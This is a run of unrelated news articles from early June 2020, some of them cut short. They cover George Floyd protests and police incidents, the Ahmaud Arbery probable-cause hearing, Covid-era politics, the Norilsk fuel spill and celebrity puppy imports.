And I think weve got substantial evidence behind us now at this point after a number of months to show that the Irish public is listening, and is willing to comply with changing advice.

And so I think for that reason people in significant numbers arent going to use these kinds of opportunities in that way.

Meanwhile, Mr Varadkar said no date has been confirmed to resume non-essential air travel.

He added: I would encourage people not to go booking flights just yet, that would be premature.

The Cabinet made the decisions after receiving advice from experts on the National Public Health Emergency Team, which Dr Holohan chairs.

Mr Varadkar said ministers had also considered Government reports on the economic and social impact of Covid-19.
A Buffalo police officer appears to shove a man who walked up to police, in Buffalo, N.Y., on June 4, 2020. (Mike Desmond/WBFO via AP)

New York Police Officers Suspended After Pushing 75-Year-Old Protester to Ground

Two New York police officers have been suspended without pay after they were caught on camera pushing a 75-year-old protester to the ground, causing what appeared to be a head injury.

In video footage captured by local public radio station WBFO, the 75-year-old protester can be seen walking towards a line of Buffalo Police Department officers in riot gear, before he is shoved by one officer with a baton, and another who pushes him with his hand.

He falls back to the ground, the video shows, and his head hits the sidewalk. Shortly later, he appears unresponsive and blood can be seen trickling onto the ground. It is unclear whether the man spoke with the officers before he was pushed.

Hes bleeding from his ears! a bystander can be heard shouting in the background. Get a medic! another says.

WBFO reported that police initially said a man was injured after tripping and falling. However, Buffalo Mayor Byron Brown said Buffalo Police Commissioner Byron Lockwood ordered an investigation into the incident and suspended the two offending officers after viewing the footage.

Shortly after the incident, Brown said in a statement that he was deeply disturbed by the footage. After days of peaceful protests and several meetings between myself, police leadership and members of the community, tonights event is disheartening.

He said the 75-year-old was hospitalized and is in serious but stable condition at Erie County Medical Center Hospital.

This incident is wholly unjustified and utterly disgraceful. Ive spoken with Buffalo @MayorByronBrown and we agree that the officers involved should be immediately suspended pending a formal investigation. Police Officers must enforce  NOT ABUSE  the law. https://t.co/EYIbTlXnPt  Andrew Cuomo (@NYGovCuomo) June 5, 2020

New York Gov. Andrew Cuomo said on Twitter that he had discussed the wholly unjustified and utterly disgraceful incident with Mayor Brown.

We agree that the officers involved should be immediately suspended pending a formal investigation, Cuomo wrote. Police Officers must enforceNOT ABUSEthe law.

Erie County Executive Mark Poloncartz tweeted that the 75-year-old is expected to recover, but noted that the two officers must be held responsible for their actions, not just fired.

Ive seen videos of the incident in front of Buffalos City Hall in which an older protester appears to have been shoved by police, fell backwards and suffered a serious head injury. It sickens me. Ive confirmed he is at ECMC in stable condition. My thoughts are with him now.  Mark Poloncarz (@markpoloncarz) June 5, 2020

Ive seen videos of the incident in front of Buffalos City Hall in which an older protester appears to have been shoved by police, fell backwards and suffered a serious head injury, he said. It sickens me. Ive confirmed he is at ECMC in stable condition. My thoughts are with him now.

Protests over the death of George Floyd continued into their tenth night on Thursday. Floyd, 46, died last week in police custody in Minneapolis after an officer kneeled on his neck for nearly nine minutes.

The police officer who was seen kneeling on the mans neck, Derek Chauvin, on Tuesday had his charges upgraded from third-degree murder, to second-degree murder charges. Under Minnesota law, second-degree murder is defined as when a person intentionally causes the death of another person without premeditation.

Attorney General William Barr said on Thursday authorities have made 51 arrests for federal crimes related to violent rioting amid the recent protests.

Barr said authorities are seeing three different sets of actors at the demonstrationspeaceful protesters exercising their First Amendment rights, groups exploiting the opportunity to engage in looting, and extremists agitators who have hijacked the protests to pursue their own agendas. He said that there is evidence that the last group is to be blamed for the violent activity.

Janita Kan contributed to this report.

Read More Barr Says 51 Arrests Have Been Made for Federal Crimes Over Violent Rioting
Chandigarh, June 5 : While not advocating war, Punjab Chief Minister Amarinder Singh on Friday urged the Centre to take a tough stand on the continuing border stand-off with China if the neighbouring country doesn't respond to diplomatic efforts to resolve the issue.

The problem needs to be resolved through negotiations and diplomacy, but "we cannot turn our back to the threat posed by the aggressive moves of the Chinese at the border," he said in response to questions during a video press conference.

As sovereign nations, both countries should find a diplomatic solution to the problem, said Amarinder Singh, adding that India "does not want war but we will not accept bullying by China".

"We want peace, but they cannot push us around," he said, asserting that the Chinese had to be pushed out of the Indian territory.

Asserting that India cannot keep allowing its land to go away, the Chief Minister said that if the threat is not countered, the Chinese will demand more and more land in the future, which cannot be permitted at any cost.

Citing the Dokhlam incident, he pointed out that such provocations on the part of China were common, and they had encroached into Indian territory even in Aksai Chin, and had resorted to similar actions in Arunachal Pradesh.

Attempts have been made by China in the past to lay claims on Indian land in Himachal Pradesh too, the Chief Minister pointed out.

China has to leave the Indian territory into which they have now moved in and on which they have no right, said Amarinder Singh, warning that the Indian armed forces were now much more modernised and equipped than they were back in 1962, and "China cannot not afford to take us lightly".
Some members of the ruling New Patriotic Party (NPP) in Juaben Constituency in the Ashanti region have threatened to quit the party, Dailymailgh.com has gathered.



The defection involves some executives and delegates in polling stations across the constituency over the reported disqualification of one of its parliamentary aspirants in the constituency, Francis Owusu Akyaw.



They are likely to make an open announcement about their decision at a later date, correspondent Jonathan Ofori, who has been following the development told Dailymailgh.com.



They cited reports that Mr Akyaw, who is contesting the seat for the third time, has been disqualified from the race, adding that the decision could jeopardize the partys electoral fortunes in the general election.



The aggrieved party members also referred to chaotic controversies that continue to split the partys support making it increasingly unattractive in the Constituency.



We had resisted this unopposed agenda since it cropped up; we thought the party would have considered our plea to have both individuals contest for the seat but looking at how events are unfolding they just want to frustrate the aspirant and that is undemocratic, a constituency executive told Dailymailgh.com.



He further stated: Looking at how things are playing out many of us will quit. We are set to address the media later this week to make our position known. NPP is not worth dying for.



The NPP is expected to conduct this years presidential and parliamentary primaries on June 20, 2020.



The election, which was earlier slated for April 25, 2020, was postponed due to the Covid-19 pandemic in the country and the related restrictive measures announced by the President.



The party, at a meeting on Monday, June 1, agreed to hold the election in electoral areas rather than at the constituency level in order to ensure social distancing.



The National Executive Committee of the party had met on Wednesday to draw up modalities for the polls and also make final decisions on the various appeals it had received from some disqualified and disgruntled aspirants.



Suspension of polls



The party on April 14, 2020, suspended it's planned April 25, 2020, parliamentary primaries indefinitely in accordance with the Presidents ban on public gatherings in the wake of the Coronavirus pandemic in Ghana.



NPP was to use the primaries to elect parliamentary candidates in constituencies where it has sitting Members of Parliament, ahead of the 2020 general elections.



Many parliamentary aspirants suspended their campaigns due to the decision.



But with the easing of some of the COVID-19 induced restrictions, some aspirants have resumed some level of campaign.

Source: Daily Mail









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KALAMAZOO, MI -- A wall of plywood has replaced the usual storefronts on the Kalamazoo Mall after 25 downtown businesses and buildings were vandalized early Tuesday morning.

The vandalism happened hours after a peaceful protest. The event was calling for justice for George Floyd, a black man in Minneapolis who died after a now ex-police officer held his knee on Floyds neck for 8 minutes and 46 seconds.

The destruction has left local business owners at the center of a national conversation around protests and the violence that has at times occurred afterward. Some storefronts have taken the opportunity to post signs of solidarity with the Black Lives Matter movement.

Some of the storefronts that were hit by vandals include: Gazelle Sports, Lanas Boutique, Jimmy Johns, Rose Gold Coffee Company, the Kalamazoo Exchange, the Kalamazoo building, Final Gravity Brewery, Terrapin World Import, South Street Cigar & Spirits and Discover Kalamazoo.

Volunteers joined business owners at sunrise Tuesday morning with dust brooms in hand after groups of protesters roved through downtown Kalamazoo.

Related: Volunteers help business owners clean up after night of protests, vandalism in Kalamazoo

Now business owners have had time to regroup, many have seen this as an opportunity to reflect on the role they play within the downtown community.

Adriannes Boutique, which did not sustain damage, taped signs listing the store owners philosophy with signs supporting Black Lives Matter, womens rights, immigration rights, gay rights and supporting science-based evidence.

Owner Adrianne Merkling said she was confronted by someone walking by who questioned if she was the business owner and why she was hanging the signs. Merkling said her signs were in the window last week and she moved them outside to make sure they remained prominent after she boarded up her business.

Some people werent happy about it, but they dont pay the rent, Merkling said. Im not going to stop speaking just because some people dont agree with it. I dont see anything controversial with what I posted so it was surprising that people were so offended.

Merkling said she feels for the business owners who sustained damaged but she doesnt want to take away from the message of the movement and the need to raise the voice of the black community.

Its in support of recognizing that theres still oppression, Merkling said. I cant speak for people of color because Im white, but I know that when Im out and about I dont have to worry about my three sons being targeted because of the color of their skin.

Lana Hoffman, owner of Lanas Boutique, which was damaged, said she was humbled by the community support to help clean up around her business. She said she remains firm in her no tolerance policy when it comes to discrimination and racism.

Black lives do matter and we are glad that their voices are being heard, Hoffman said. Although it was difficult to see the windows and storefronts downtown smashed, those things can be replaced.

Lauren Lasater, who owns Colors & Cocktails: The Mobile Art Party, called the volunteers who helped clean up her glass Kalamazoo angels and said she was in awe of the community.

Itll be two weeks until her second glass pane can be replaced and the store can fully reopen for classes and events. For now, the business community needs to come together and work to make everyone feel safe downtown again, she said.

Im definitely leaning on my fellow business owners downtown and having these hard conversations and figuring out how were going to move forward, Lasater said. I know we are going to move forward.

Those types of conversations are what owners Matt and Emily Deering-Caruso are trying to generate by blacking out the windows of their wine bar Stamped Robin. On the bars Facebook page, the couple wrote a statement in support of the Black Lives Matter movement and called for systemic change.

Were not here for a trophy, Matt said. We want somebody to drive by, see the blacked out panels and just either think or be inspired. We want people to just be engaged.

The couple said they do not promote or condone the violence that has rippled through the country, but they were encouraged to see that protesters voices were heard and all four of the former Minneapolis police officers who were involved in Floyds arrest and eventual death have been charged.

If a kid in a classroom is throwing crayons and ripping up papers, we call that trauma and we respond accordingly, Emily said. I think we have to keep that in mind that theres just an insurmountable amount of pain thats happening, and Im not interested in saying right or wrong about it. If it can help the movement along, then thats what it takes.

The couple said they understand they themselves have work to do in understanding the black communitys experience but that they want to start a dialogue and create a safe space downtown to lift those voices up.

We dont believe that justice and equality in business identity is an on and off switch," Matt said. Its not binary, its a journey. We have a lot of work to do still, we understand. As a business I think we are responsible for continuing to work, finding ways to improve ourselves and continue to get better.

Read more on MLive:

Charges filed against three people after disturbances that involved vandalism

New Kalamazoo school superintendent creates equity task force, voices support for protesters

Kalamazoo protesters urge police to join them, are tear-gassed after curfew

My heart was wrenched with pain, assistant chief says of ordering tear gas on protesters

Tough week after tough two months for Michigan business owners hit by coronavirus, looting
Appointment

5 June 2020

Denis Huttig, the long-serving Vice President Operations at Steigenberger Resorts, will be taking charge of leadership and vision for all hotels operating under the Steigenberger brand with immediate effect. This means that he will also assume overall responsibility for further development of the hotels and resorts. Mr. Huttig is a seasoned hotelier and strategist. He joined the group in 2012 and has a broad range of experience in the 4-star and 5-star hotel segment. After successfully completing an MBA in Change Management, he took on a number of managerial roles, including at the Grandhotel Ahlbecker Hof on the Island of Usedom. In 2012, he was appointed General Manager of the Steigenberger Hotel Bad Neuenahr. Mr. Huttig has held the position of VPO for Steigenberger Resort Hotels since 2015. He went on to become a key driver of the Evolution Steigenberger project, which undertook a robust and innovative programme of further development to create a global brand with traditional roots.
YEREVAN, JUNE 5, ARMENPRESS. Armenian Prime Minister Nikol Pashinyan says the current public control campaign is not a punitive action, but a mean to overcome other problems together.

The PM said on Facebook that this campaign will continue and urged users writing bad comments to delete them.

The photos posted on my page about the violations of anti-coronavirus rules are about us, not about the others. They are about me, my family members, you and your family members. We are the same nation, the same people, with the same perception and behavior. We, our friends and relatives are in these photos. Lets rule out insulting the people because we are talking about us, not the others, the PM said.

He apologized to all the compatriots who received insulting comments on his page.

Pashinyan also urged to send information about the upcoming secret parties, events, weddings to his Facebook page.

Starting June 2 various users are sending photos showing violations of anti-epidemic rules in Armenia to Prime Minister Nikol Pashinyans Facebook account.

Editing and Translating by Aneta Harutyunyan
Comes weeks after Lucy's Law was introduced to stop cruel import of puppies

Celebrities have come forward to expose 'third-party puppy breeders' who they claim are offering free puppies to influencers 'like a pair of shoes', after shipping them in from Russia.

Love Island's Olivia Buckland was one of several reality TV stars to admit that she had been offered a free puppy after exiting the show.

Her confession comes just two days after Love Island stars Molly-Mae Hague and Tommy Fury revealed their newly imported Pomeranian puppy had died of a seizure and neurological issues.

Love Island's Molly-Mae Hague revealed her Pomeranian, named Mr Chai, died just six days after she received him for her 21st birthday present from Tommy Fury (pictured together)

The dog, named Mr Chi by the couple, passed away soon after arriving in the UK, it had been gifted to Molly-Mae by boyfriend Tommy on her 21st birthday.

Love Island's Olivia told her two million Instagram followers: 'Third party breeders don't have a clue where they're getting their dogs from, I don't care what b****** they sprangle you they are getting a puppy from another country, they are not seeing the mum, they're not seeing the dad, even sending a young puppy by plane from places like Russia is ridiculous.'

Olivia added that she wasn't speaking out to slam Molly-Mae and Tommy, as she realise how devastated they were about their puppies passing and 'didn't know' what they were getting themselves into.

'You do not need a puppy from that far away!': Olivia Buckland SLAMMED 'third party dog breeders' after the death of Molly-Mae Hague and Tommy Fury's pet Mr Chai

She added: 'You can't blame anyone you just need to educate yourself and moving forward ensure you aren't investing in people like that so I just had to say something.'

Tommy bought the dog through Cheshire-based business Tiffany Chihuahuas & Pomeranians (Tiffany Puppies), which is licensed by Cheshire Council but not a Kennel Club assured breeder.

Tiffany Puppies have faced the brunt of the criticism after owner Elena Katerova admitted that the company flies puppies in from Russia, reports The Mirror.

Breeder Elena Katerova has denied breaking the rules telling the publication, clients see the mother with their puppy via videos.

The Real Housewives of Cheshire star Dawn Ward is also believed to have purchased her dog from Tiffany Puppies, but denies that it was imported from Russia

Love Island contestant Belle Hassan takes a picture with her dog, which was acquired from Tiffany Puppies

She said: 'I'm truly devastated to learn about the death of Mr Chai. He was a beautiful young dog with a loving, playful temperament. I'd watched him grow up, having regular video calls with his birth family.

'My heart goes out to Molly-Mae and Tommy. Mr Chai was a healthy dog, I only work with trusted people and have a small network of reputable breeders who care for their dogs to the very highest standards and and see animals as part of their family.'

The death comes after the introduction of Lucy's Law in April, created to end the scandal of animals being bred in cruel conditions and transported long distances to be sold.

Love Island star Laura Anderson is pictured with her dog, who she is thought to have purchased from Tiffany Puppies

It asserts that anyone wanting to welcome a new puppy or kitten in England must now buy direct from a breeder, or consider adopting from a rescue centre instead.

Licensed dog breeders are required to show puppies interacting with their mothers in their place of birth. It was named after a cavalier spaniel who was rescued after being kept in a cage on a puppy farm.

Celebrity vet Marc Abraham who was behind Lucy's Law campaign told The Mirror: 'The Government has made it quite clear with Lucy's Law you can't sell a puppy without it having been seen with its mum in the place where it is born.'

On Wednesday, Molly-Mae, addressed the backlash from importing Mr Chai from Russia, stating: 'Whilst we completely understand everyone's opinions about being shipped over from Russia, what you need to understand is that is not what made him die.

'He was going to die regardless. The autopsy results showed his skull wasn't fully developed and part of his brain was exposed. He didn't have a single white blood cell in his body'.

'If we had the time again we would have got a dog from the UK or got a rescue dog from the UK.'
An event in League City on Saturday to protest the death the George Floyd will aim to accommodate safety needs of immunocompromised residents, an organizer said.

Those residents are invited to attend a 6 p.m. silent protest and meditation in front of the League City Police Department, Lia Denny said.

Organized by League City residents, the event is intended to give those who have disabilities or are at high risk if exposed to COVID-19 an opportunity to honor Floyds memory and protest his death in police custody in Minneapolis.

CELEBRATING LIFE: New mural honoring George Floyd on display in Houston's Third Ward

According to Denny, League City police will designate the entrance, sidewalk and parking lot to the station, 555 West Walker St. and provide assistance to participants who have difficulty walking.

On an announcement about the event on the citys Facebook page, residents opinions included support, concern about spreading COVID-19 and hopes the event remains peaceful.

I hope we start looking into our schools here as well, wrote Precious Stegall. I love how someone has organized this! But what we need to do here in League City is start a talk.

Jessica Vasquez wrote, For a small primarily white city, this makes me proud and hopeful.

More Information Silent protest and meditation. When: 6 p.m. Saturday, June 6 Where: League City Police Department, 555 West Walker St., League City. For more information: Contact Lia Denny at liadenny@yahoo.com See More Collapse

ON HOUSTONCHRONICLE.COM: Tens of thousands march on downtown Houston to memorialize George Floyd

Dear God. Please let this be peaceful, commented Mark Henry. In a follow-up post, when asked if he was going to attend, Henry said, Im too old for this round. Its up to you young people to stop racism and police brutality. I tried for many years.

Water and restroom accessibility will be designated for use by participants. Organizers urge residents to wear face masks, maintain social distancing and bring something to sit on for comfort.

The citys EMS has been notified that this event will be designed to specifically accommodate those with special needs, including those who suffer from post-traumatic stress syndrome and sensory overload disorders.

The League City Police Department posted a comment on the citys Facebook page stating that it will help ensure the safety of the event.

League City is aware of the peaceful protests planned for this Saturday, June 6 in our community, the statement read. LCPD and City staff have been in contact with the organizers, both of whom are League City residents, and are working with them to ensure the event is peaceful and safe. Our number one priority has been, and always will be, the safety and security of our community.

Organizers urge participants to maintain silence during the event to honor victims of police brutality.

yorozco@hcnonline.com
Kin Man Hui, Staff / San Antonio Express-News

SAN ANTONIO (AP)  The GOP chairwoman of one of Texas' largest counties faced widespread pressure from her party to resign Thursday for floating a conspiracy theory on social media suggesting that George Floyd's death was staged.

Cynthia Brehm is head of the Bexar County Republican Party in San Antonio. She also drew attention and condemnation last month for suggesting the coronavirus pandemic was a hoax intended to hurt President Donald Trump.
I wrote last week about the importance of really listening to what black and brown Americans are trying to tell us as they've taken to the streets  propelled by generations of anger and sadness  to call for the same treatment and access to opportunity white Americans take for granted.

This week, I'd like to introduce you to my friend and colleague Kadida Kenner. She's a loud and necessary voice for justice Pennsylvania, and her Facebook page  where she's posted near hourly thoughts on our ongoing national conversation  is required reading.

I've known Kenner for a number of years. She's one of the smartest and most fearless women I know, and she granted me permission to use excerpts from her page. Some of what you're about to read may make you uncomfortable. That's the point.

On the anger that's driven so many into the streets since Saturday and the responsibility white Americans bear to change things:

"I'm not mad or ashamed or disgusted at the black folks out there burning down cities. I'm not. And I specifically say the black folks because the release of decades of pent up rage is a long time coming. However  I don't understand the white folks who are out there looting and carrying on. I don't get that. Those looters aren't mad about Black folks' oppression, they're just using their privilege to get free goods.

"You saw folks lose their minds after two months being stuck in their houses without haircuts and being "asked" to wear masks when out in the public. They showed up on Capitol steps with weapons and raw emotion. And guess what  their demands are being met. Cities and towns are opening up, and opening earlier than they should according to guidelines they themselves set up. That's power. They have the power. Politicians are fearful of them. They respect their vote and they see themselves in those protesters. They see their humanity. Their show of force yielded results for them and put black lives in further peril.

"Every election year, do-gooders drop money in communities to get Black people to vote. They swoop in and drop cash. The election happens and they swoop right back out. We get used for our votes because the vote is powerful  but we aren't powerful. They only see a speck of our humanity during election time when they need us in order to maintain their supremacy. That's both sides of the aisle. And yet, I vote every time. What else am I supposed to do?

"Black folks can't fix this. We don't have the power. We are again at the mercy of the majority to see a glimmer of our humanity and give us liberty and freedom. If they don't or won't we'll never get it in this country. That's supremacy. They have all the power.

"So we 'riot'  what else is there for us to do in a country in which we have no power? It's the hopelessness that hurts the most. This won't ever change in my lifetime.

"White people  please do something within your communities to fix this. Have courage  have raw courage. See our humanity. Use your power for good."

On the looting that's taken place in cities nationwide, including Philadelphia:

"I don't like the looting happening right now, especially to black-owned businesses, but I understand it. Black buying power is unmatched! We fuel this American economy. According to The State of Working America,'Black people spend 4 percent more money annually than any other race despite the fact that they are the least represented race and the race that lives in poverty at the highest rate.'"

"These protests and instances of looting by is the manifestation of the rage felt by the oppressed. It's been a long time coming. It's not rational but neither is our oppression. Although I'm not advocating for it, I think this display of outrage has to continue on so that the next time a cop puts his knee on a Black man's neck, he'll think twice, and if he still does it, white America will punish him within the full extent of the law, and immediately, if only out of fear for their property.

"They don't fear our votes, but they fear the loss of capitalism. If you want law and order, give us justice!"

I'm listening carefully to what Kenner has to say. I hope you will too.

John L. Micek is editor-in-chief of The Pennsylvania Capital-Star in Harrisburg, Pa.

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By Laman Ismayilova

Italian rock star Mike Coacci will present a new single on June 14.

The song "Human" will be released by all digital platforms in association with Rec106 Records.

Its an unexpected release, as unexpected have been all the latest world events: virus, pandemic emergency and the following lockdown. Right in this scary and hard times, when tension and fear get high that the song "Human" was written, a short Rock diary to put emotions. But "Human" is also an invite to keep up human relationships, overcoming the "social distancing" and defeating a spreading distrust between each other.

To enforce this message the video clip of "Human" will be made by Mikes fans phone videos sent from all over the world: Italy, USA, Russia, Azerbaijan, Ukraine, South Africa, France, China, Japan, etc. A global message to say united: "Stay Human".

The video will be available on Mike Coacci Official YouTube channel.

---

Laman Ismayilova is AzerNews staff journalist, follow her on Twitter: @Lam_Ismayilova

Follow us on Twitter @AzerNewsAz
Russia's President Vladimir Putin takes part in a video conference call with representatives of environmental and animal protection public organizations, at the Novo-Ogaryovo state residence outside Moscow, Russia, on June 5, 2020. (Alexei Nikolsky/Sputnik/Kremlin via Reuters)

Putin Chides Nornickel, Orders Law Change After Arctic Fuel Spill

MOSCOWRussian President Vladimir Putin chided the billionaire boss of Norilsk Nickel on Friday over a huge Arctic fuel spill and ordered changes to the law to try to prevent such a disaster from happening again.

Greenpeace has compared the scale of last weeks accident near the northern city of Norilsk, where 21,000 tonnes of diesel poured into rivers and subsoil, to the Exxon Valdez oil spill in 1989.

Putin has declared a state of emergency in the region and complained of what he said was a bungled state response, while Russias Prosecutor Generals office on Friday ordered a review of all hazardous objects built on permafrost after saying it looked like the ground beneath a fuel tank had subsided.

In an online meeting, Putin asked officials to amend Russian law to try avoid similar accidents in future and criticized Norilsk Nickel President Vladimir Potanin for not replacing the source of the pollutionthe fuel tankin a timely fashion.

President and Chairman of the Board of MMC Norilsk Nickel Vladimir Potanin attends a session of the St. Petersburg International Economic Forum (SPIEF), Russia, on June 6, 2019. (Maxim Shemetov/File Photo/Reuters)

If you had changed it on time there would not have been this ecological damage and the company would not have had to foot these (clean-up) costs. Study this as closely as possible inside the company, Putin told Potanin during the televised meeting.

Clean-up operations underway at combined heat and power plant No 3 after a May 29 fire caused by a car crashing into one of its fuel storage facilities, more than 20,000t of fuel spilled in total. (Denis KozhevnikovTASS via Getty Images)

Potanin, the largest shareholder in Norilsk Nickel (Nornickel) with a 34.6 percent stake, said he couldnt estimate any potential fines from the authorities, but the firm would cover clear-up costs set to top 10 billion roubles ($145 million).

Shares in Nornickel, the worlds leading nickel and palladium producer, were up 3 percent in Moscow after the meeting, having previously been hit by fallout from the disaster.

Putins spokesman earlier on Friday dismissed the idea of the government ousting Potanin after a Russian lawmaker said he should go following the spill.

Kremlin spokesman Dmitry Peskov told reporters the priority was to clear up the May 29 spill and an investigation would decide if anyone was guilty.

The RBC media portal reported earlier on Friday that a Russian safety watchdog had warned a Nornickel subsidiary in 20172018 about violations at the Arctic fuel site.

By Anastasia Teterevleva and Polina Devitt
Google has rolled out a new highlighting feature which aims to make it easier for users of its search engine to find the information they are looking for quickly.

Google Search Public Liaison officer Danny Sullivan confirmed via Twitter that the feature has now been enabled on HTML webpages, after being supported on mobile-optimised AMP pages since December 2018.

The highlighting will appear over relevant sections of text on webpages which are linked to in Google Searchs featured snippets.

Featured snippets are boxes where the format of regular listings is reversed, showing the descriptive snippet first.

Google determines whether a site has the most relevant and reliable information on a certain topic and then places a snippet containing answers to user queries at the top of a users search results.

For example, searching How fast is 5G? via Google Search on mobile or desktop will show a featured snippet which links to a HowToGeek article on the topic, as shown below.

From last week, clicking on this snippet will send the user to the webpage, where they will see the text relevant to their search and shown in the snippet highlighted in yellow.

The user may also be anchored down to the content shown in the featured snippet.

Investigations into Google

Google Search dominates the worldwide online search engine market by an overwhelming margin.

According to figures from Statista, the platform was the go-to choice for around 87.35% of Internet users as of January 2020. Its followed from afar by Bing with 5.53% and Yahoo with 2.83%.

A recent report from Bloomberg said US lawmakers are looking into ways to limit Googles power in this space as part of antitrust investigations into the tech company.

DuckDuckGo CEO Gabriel Weinberg told the publication Justice Department officials and state attorneys had asked him about the possibility of requiring Google to provide consumers with alternatives to Google Search in its Chrome web browser and on Android devices.

Google is also reportedly being targeted for its practices in the digital advertising market.

Now read: Websites can still block Chrome Incognito Mode
A Delhi woman has slammed the state government after losing her father to coronavirus. She alleged that her father was not admitted in time by a Delhi government hospital, a charge denied by the authorities of the facility. The woman, Amarpreet Kaur, took to Twitter earlier in the day, saying, "My dad is having high fever. We need to shift him to hospital.

I am standing outside LNJP Delhi & they are not taking him in. He is having corona, high fever and breathing problem. He won't survive without help. Pls help." An hour later, she again tweeted, saying, "He is ...
THE State is now facing a potential lawsuit for tortious assault and battery by a family that was tear-gassed by police while at the Queens Park Savannah in Port of Spain last Sunday.

Acting Police Commissioner McDonald Jacob has been given 28 days within which to provide specific pieces of information to attorneys representing the family or, in default, a civil claim will be filed at the High Court, the familys attorneys warned yesterday.
STATEN ISLAND, N.Y. -- Police are seeking help from the public via social media to identify two persons sought for questioning in connection with a robbery where a livery cab drivers car was stolen in Mariners Harbor.

The robbery occurred at about 12:38 a.m. Thursday in front of 700 South Ave. near the Staten Island Expressway, according to information previously supplied by police.

The victim was a livery driver who picked up four passengers. A verbal dispute between the driver and the passengers escalated when one of the passengers used a knife to cut the drivers hands, police previously said.

The four suspects then allegedly stole the victims 2014 red, four-door Ford Explorer with license plate HXK5656, and drove westbound on Goethals Road North, police previously said.

A level-one mobilization was called to search for the car.

The victim suffered lacerations to both hands and was transported to Richmond University Medical Center in West Brighton, the police spokeswoman said.

Police only described the suspects as four black males.

Photos of two persons sought for questioning obtained from surveillance cameras inside a nearby gas station were posted on the 121st Precinct Twitter feed.

People with information are encouraged to contact the NYPDs Crime Stoppers Hotline at 1-800-577-8477 (TIPS) or for Spanish, 1-888-577-4782 (PISTA). The public can also submit their tips by logging onto the Crime Stoppers website or by texting their tips to 274637 (CRIMES) then entering TIP577. All calls are strictly confidential.
By The Associated Press Jun. 04, 2020 | 06:52 PM | FRANKFORT

Statues of Jefferson Davis and Abraham Lincoln tower over visitors to Kentucky's Capitol, but the state's governor doesn't think the Confederate president belongs in the same space as the U.S. president who helped end slavery.

Democratic Gov. Andy Beshear said Thursday that he sees the Davis statue as a divisive symbol that should be removed from the Capitol Rotunda. Beshear was asked about the Davis statue during a time of unrest in Louisville, where crowds have protested over police interactions with blacks.

Even if there are those who think its a part of history, there should be a better place to put it in historic context, the governor said. And right now, seeing so much pain in our state and across our country, cant we at least realize that in so many of our fellow Kentuckians ... it is in the very least so hurtful to them? And doesnt that at least justify it not sitting where it does right now?

I don't think it should be in the Capitol Rotunda," he added.

The 15-foot (4.5-meter) marble statue of Davis sits in a corner of the states ornate Capitol Rotunda near a bronze likeness of Lincoln. Both men were born in Kentucky. The statues of the Civil War adversaries are among several on display in the Rotunda.

Advocates have been asking state officials to remove the Davis statue for years. In 2018, officials removed a plaque declaring the only president of the Confederacy to be a Patriot-Hero-Statesman.

Now, the effort to move the Davis statue could gain new momentum.

In Louisville, demonstrators have gathered for days to demand justice for Breonna Taylor, a black woman shot in her home by police detectives in March. Taylor, a 26-year-old EMT, was shot eight times by narcotics detectives who knocked down her front door while attempting to enforce a search warrant. No drugs were found in the home. Protesters also are demanding justice for George Floyd, a black man who died after an encounter with police in Minneapolis.

Meanwhile, Virginia Gov. Ralph Northam on Thursday announced that the statue of Gen. Robert E. Lee near downtown Richmond will be removed from its 40-foot-tall (12-meter-tall) granite pedestal as soon as possible. The governor said it will go into storage while his administration seeks public input about its future.
BRUNSWICK, Ga.  Travis McMichael had just fired his 12-gauge shotgun three times. Two of the bullets hit the young black man in the chest. McMichael didnt know his name.

With his father standing behind him, McMichael watched as Ahmaud Arbery took a few final steps and then collapsed, his white shirt soaked in blood.

On Thursday, the public learned how authorities say Travis McMichael responded as Arbery lay dying: with an expletive and a racial slur.

Thats according to Georgia Bureau of Investigation Special Agent in Charge Richard Dials sworn testimony regarding co-defendant William Roddie Bryans account to authorities.

Dial testified Thursday during a probable cause hearing for Travis McMichael, his father Greg McMichael and Bryan. The GBI last month announced the McMichaelses arrests on charges of felony murder and aggravated assault and Bryans arrest on charges of felony murder and criminal attempt to commit false imprisonment. All three have been held since without bond.

This photo combo of images taken Thursday, May 7, 2020, and provided by the Glynn County Detention Center, in Georgia, show Gregory McMichael, left, and his son Travis McMichael. The two have been charged with murder in the February shooting death of Ahmaud Arbery, whom they had pursued in a truck after spotting him running in their neighborhood. (Glynn County Detention Center via AP)AP

Magistrate Court Judge Wallace Harrell ruled Thursday there was sufficient probable cause for the cases to be bound over to Superior Court. The hearing took place amid a national protest movement sparked by the Minneapolis death of George Floyd on May 25. Four police officers involved with the call that ended in Floyds death, since fired, face charges.

Protests in Floyds memory, some turning violent and destructive, have rocked the nation in recent days. At some of the gatherings, supporters have shouted Arberys name along with Floyds.

This case is revealing more and more not only that Ahmaud Arbery was murdered by men who had racial motivations but that those men were then protected by a system bent on devaluing the life of Ahmaud Arbery and justifying his murder without consideration for the safety of the community, without consideration of the facts in evidence, attorney Lee Merritt, who represents Arberys mother, said after Thursdays proceedings in Brunswick. It points to the fact that if and when these men are convicted, we have a greater issue in this country: dismantling the white supremacy that exists within our court system.

And it wasnt just McMichaels epithet, Merritt said. There was Bryans claim that he was nearly a victim of a carjacking by Arbery even though Bryan and the McMichaelses were the ones pursuing Arbery, he said. Or Travis McMichaels statement to police that he was fearful of being attacked by Arbery, he said. Travis and Greg McMichael were armed; Arbery was not.

Arbery, 25, died Feb. 23.

Jason Sheffield, co-counsel for Travis McMichael, said his client had reason to be concerned for his safety the day of the fatal encounter.

I dont believe it was self-defense by Mr. McMichael, said Dial, under cross examination. I believe it was self-defense by Mr. Arbery.

Dial acknowledged that Arbery chose to fight when confronted by Travis McMichael. By then, after a chase that lasted estimated seven minutes, Arbery was out of options, he said.

I believe Mr. Arbery was being pursued and he ran until he couldnt run anymore, Dial testified. And it was turning back to a man with a shotgun or fight with his bare hands the man with the shotgun. When he felt like he could not escape, he chose to fight.

Arberys mother, Wanda Cooper Jones, said much of the testimony was difficult to absorb.

He was afraid, she said. Life had placed him in a position where I couldnt protect him, and he wasnt able to protect himself.

The McMichaelses watched via video stream from a courtroom at the Glynn County jail, where they have been held since May 7. Coronavirus concerns prevented them from appearing at the hearing. Most everyone in the courtroom, including the judge, wore masks. Witnesses took them off while testifying.

Dial testified he found numerous examples of Travis McMichaels racism on social media. Earlier this year, before the shooting, McMichael commented on an Instagram post shared with him by a friend.

Thatd only be better if theyd blown that (n-words) head off, McMichael wrote.

Those comments will likely reverberate beyond the states case. The U.S. Department of Justice said last month it is reviewing the evidence to determine whether federal hate crime charges may apply. Georgia is one of a few states without a hate crime law.

Sheffield said the McMichaelses were acting on behalf of their Satilla Shores community, which had decided, on its Facebook page, that a man matching Arberys description needed to be held accountable for supposed burglaries in the neighborhood.

